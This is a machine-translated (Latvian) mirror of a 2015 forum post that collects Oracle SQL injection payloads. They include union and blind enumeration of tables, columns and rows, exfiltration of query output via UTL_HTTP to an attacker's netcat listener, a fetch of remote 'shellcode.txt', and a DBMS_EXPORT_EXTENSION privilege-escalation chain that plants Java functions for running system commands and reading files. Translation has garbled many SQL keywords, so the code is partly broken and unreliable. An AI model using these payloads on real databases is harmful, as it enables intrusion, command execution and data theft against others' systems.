Šis raksts ir mašīntulkošanas spoguļraksts, lūdzu, noklikšķiniet šeit, lai pārietu uz oriģinālo rakstu.

Skats: 11931|Atbildi: 0

[Droša komunikācija] SQL injekcijas piezīmju orakuls

[Kopēt saiti]
Publicēts 24.01.2015 12:58:17 | | |
Šo ziņu pēdējo reizi rediģēja tests 2015-1-24 13:01

Komentārs: --
Vairāku teikumu izpilde netiek atbalstīta, un tiek atbalstīti apvienotie vaicājumi
Datu bāzu nosaukumi, tabulu nosaukumi un kolonnu nosaukumi tiek rakstīti ar lielajiem burtiem.


garums(lauks)
ascii(substr(lauks, N, 1))


un (izvēlieties skaitu(*) no duāla)>0 -- Nosakiet, vai tas ir orākuls vai nē

pasūtījums pēc n--

un 1=2 savienība izvēlas null, null,.....,null no duāla - aizstāj null ar N vai 'N'

un 1 = 2 apvienošana atlasīt null, (sql priekšraksts) ,.....,null no dual -- mainīt uz (sql priekšraksts) pie 'N'

un (atlasiet count(*) no all_objects, kur object_name='UTL_HTTP')>0 -- Nosakiet, vai UTL_HTTP tiek atbalstīts (eksporta IP ir zināms)

un UTL_HTTP.request('http://LocalIP:port'|| (SQL paziņojums)) =1-- Attālināti sūtīt ziņojumus uz lokālo, lokālo klausīšanos nc -vv -l -p 1234


SQL paziņojumi
Atlasiet reklāmkarogu no sys.v_$versijas, kur rownum=1, lai vaicātu orākula versiju
atlasiet dalībnieku no v$logfile, kur rownum=1 Vaicāt žurnālfaila ceļu (Windows vai Linux)
atlasiet utl_inaddr.get_host_address no duāla, lai vaicātu datu bāzes klausīšanās IP
Atlasiet instance_name no v$instance, lai vaicātu sid
Atlasīt nosaukumu no v$database Vaicāt pašreizējo datu bāzes nosaukumu
Atlasiet sys_context ('userenv','current_user') no divu vaicājumu datu bāzes lietotājiem
Atlasiet * no session_roles, kur rownum=1, lai vaicātu pašreizējās lietotāja atļaujas
Atlasiet * no session_roles, kur rownum=1 [un role<>'first permission name']



Atlasiet table_name no user_tables, kur rownum=1 Pašreizējās datu bāzes pirmais tabulas segments
atlasiet table_name||','|| tablespace_name no user_tables, kur rownum=1 Pirmais tabulas segments, datu bāze (verifikācijai tas var nebūt v$database)
Atlasiet table_name no user_tables, kur rownum=1 un table_name<>'pirmais tabulas segments' Pašreizējās datu bāzes otrais tabulas segments

Izvēlieties column_name no user_tab_columns, kur rownum=1 un table_name='Tabulas segments' Pirmais lauks, kas atbilst tabulas nosaukumam
Izvēlieties column_name no user_tab_columns, kur rownum=1 un table_name='Tabulas segments' un column_name<>'Pirmais lauks' Otrais lauks, kas atbilst tabulas nosaukumam

Atlasīt lauku no tabulas segmenta, kur rownum=1 pārkāpj pirmās rindiņas saturu
Atlasīt lauku no tabulas segmenta, kur rownum=1 un lauka <> 'pirmās rindiņas saturs' atklāj otrās rindiņas saturu


Starpbibliotēkas
Atlasiet īpašnieku no all_tables, kur rownum=1 vaicā pirmo datu bāzes nosaukumu
Izvēlieties īpašnieku no all_tables, kur rownum=1 un īpašnieks<> 'Pirmais datu bāzes nosaukums', lai vaicātu otro datu bāzes nosaukumu

Atlasiet table_name no all_tables, kur rownum=1 un owner='database name' Vaicāt atbilstošās datu bāzes pirmo tabulas nosaukumu
Atlasiet table_name no all_tables, kur rownum=1 un owner='database name' un table_name<>'first table name', lai vaicātu atbilstošās datu bāzes otrās tabulas nosaukumu

Izvēlieties column_name no all_tab_columns, kur rownum=1 un owner='database name' un table_name='table segment' Pirmais lauks, kas atbilst tabulas nosaukumam
Izvēlieties column_name no all_tab_columns, kur rownum=1 un owner='datu bāzes nosaukums' un table_name='tabulas segments' un column_name<>'pirmais lauks' Otrais lauks, kas atbilst tabulas nosaukumam

Atlasiet lauku no datu bāzes. Tabulas segments, kurā rownum=1 pārkāpj pirmās rindiņas saturu
Atlasiet lauku no datu bāzes. Tabulas segments, kurā rownum=1 un lauka <> "Pirmās rindas saturs" pārkāpj otrās rindas saturu





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); vairāku paziņojumu BEIGAS; --','SYS',0,'1',0)--

Ja 'ir izbēgts, tiek izmantots chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(CHR(70)|| chr(79)|| chr(79),chr(66)|| CHR(65)|| chr(82), chr(68)|| CHR(66)|| CHR(77)|| chr(83)|| chr(95)|| chr(79)|| CHR(85)|| CHR(84)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(34)|| CHR(46)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(40)|| chr(58)|| CHR(80)|| CHR(49)|| CHR(41)|| CHR(59)|| Vairāki paziņojumi || chr(69)|| chr(78)|| chr(68)|| CHR(59)|| CHR(45)|| chr(45),chr(83)|| CHR(89)|| chr(83),0,chr(49),0)=0--

Ja vairāki teikumi ir pārāk gari, varat uzrakstīt paziņojumu tīmekļa vietnes failā un izmantot utl_http.request, lai to izgūtu.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Izveidojiet JAVA pakotni SecTest
runCMD tiek izmantots, lai izpildītu sistēmas komandas
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU "PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt un kompilēt java avotu ar nosaukumu "SecTest" kā importa java.io.*; publiskā klase SecTest paplašina objektu{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Virkne stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); atgriešanās str; }catch(Izņēmums e){atgriezt e.toString(); }}}''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--

faila lasīšanai tiek izmantots readFile
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU "PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt un kompilēt java avotu ar nosaukumu "SecTest" kā importa java.io.*; publiskā klase SecTest paplašina objektu{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(faila nosaukums)); Virkne stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); atgriešanās str; }catch(Izņēmums e){atgriezt e.toString(); }}}''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--



Java atļauju piešķiršana
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''sākt dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''izpildīt''''''''); beigas; ''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--



Funkcijas izveide
Funkcija SecRunCMD
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt funkciju SecRunCMD(p_cmd in varchar2) atgriezt varchar2 kā valodu java nosaukums''''''''SecTest.runCMD(java.lang.String) atgriezt virkni'''''''' ; ''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--

Funkcija SecReadFile
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt funkciju SecReadFile(faila nosaukums varchar2) atgriezt varchar2 kā valodu java nosaukums''''''''SecTest.readFile(java.lang.String) atgriezt virkni' '''''''; ''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--



Atļaujas piešķiršana publiskās funkcijas izpildei
SecRunCMD tiek piešķirtas atļaujas
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''piešķirt visu SecRunCMD sabiedrībai'''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--

SecReadFile
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''piešķirt visu SecReadFile sabiedrībai''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--



Nosaka, vai funkcija ir veiksmīgi izveidota
un (atlasiet count(*) no all_objects, kur object_name='SECRUNCMD')>0--
un (atlasiet count(*) no all_objects, kur object_name='SECREADFILE')>0--



Komandas izpilde
un '1'<>(atlasiet sys. SecRunCMD ('Izpildīt komandu') no duāla) -
un '1'<>(atlasiet sys. SecReadFile ('faila fiziskā adrese') no duāla) -
vai
un 1 = 2 savienība izvēlas null,...,sys. SecRunCMD('execute command'),...,null no dual--
un 1 = 2 savienība izvēlas null,...,sys. SecReadFile('faila fiziskā adrese'),...,null no duāla--
vai
un '1'<>(atlasiet UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Izpildīt komandu'),'',' '),'\n',' ')) no duāla)--
un '1'<>(atlasiet UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Faila fiziskā adrese'),',',' ','\n',' ')) no dual)--



Dzēst funkciju
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''nomešanas funkciju SecRunCMD''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''nomešanas funkciju SecReadFile''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--




Iepriekšējo:Vai es varu pieteikties moderācijai, kādi nosacījumi man ir nepieciešami?
Nākamo:ORALCE iegūst resursdatora nosaukumu un IP adresi
Atruna:
Visa programmatūra, programmēšanas materiāli vai raksti, ko publicē Code Farmer Network, ir paredzēti tikai mācību un pētniecības mērķiem; Iepriekš minēto saturu nedrīkst izmantot komerciāliem vai nelikumīgiem mērķiem, pretējā gadījumā lietotājiem ir jāuzņemas visas sekas. Informācija šajā vietnē nāk no interneta, un autortiesību strīdiem nav nekāda sakara ar šo vietni. Iepriekš minētais saturs ir pilnībā jāizdzēš no datora 24 stundu laikā pēc lejupielādes. Ja jums patīk programma, lūdzu, atbalstiet oriģinālu programmatūru, iegādājieties reģistrāciju un iegūstiet labākus oriģinālus pakalpojumus. Ja ir kādi pārkāpumi, lūdzu, sazinieties ar mums pa e-pastu.

Mail To:help@itsvse.com